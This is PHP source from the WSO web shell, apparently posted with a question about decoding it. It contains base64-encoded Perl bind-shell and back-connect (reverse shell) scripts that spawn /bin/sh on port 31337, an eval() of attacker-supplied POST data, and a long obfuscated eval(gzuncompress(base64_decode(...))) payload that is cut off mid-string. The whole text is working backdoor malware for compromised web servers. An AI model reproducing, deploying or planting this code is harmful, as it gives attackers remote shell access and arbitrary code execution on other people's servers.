actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo"<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR']."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w") or @function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']=='bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>".$out."
".wsoEx("ps aux | grep bp.pl")."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']=='bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>".$out."
".wsoEx("ps aux | grep bc.pl")."</pre>";unlink("/tmp/bc.pl");}}echo'</div>';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=>php_uname(),"php_version"=>phpversion(),"wso_version"=>WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&&function_exists('action'.$default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&&function_exists('action'.$_POST['a']))call_user_func('action'.$_POST['a']);exit;
Did this file decode correctly?
Original Code
eval(gzuncompress(base64_decode("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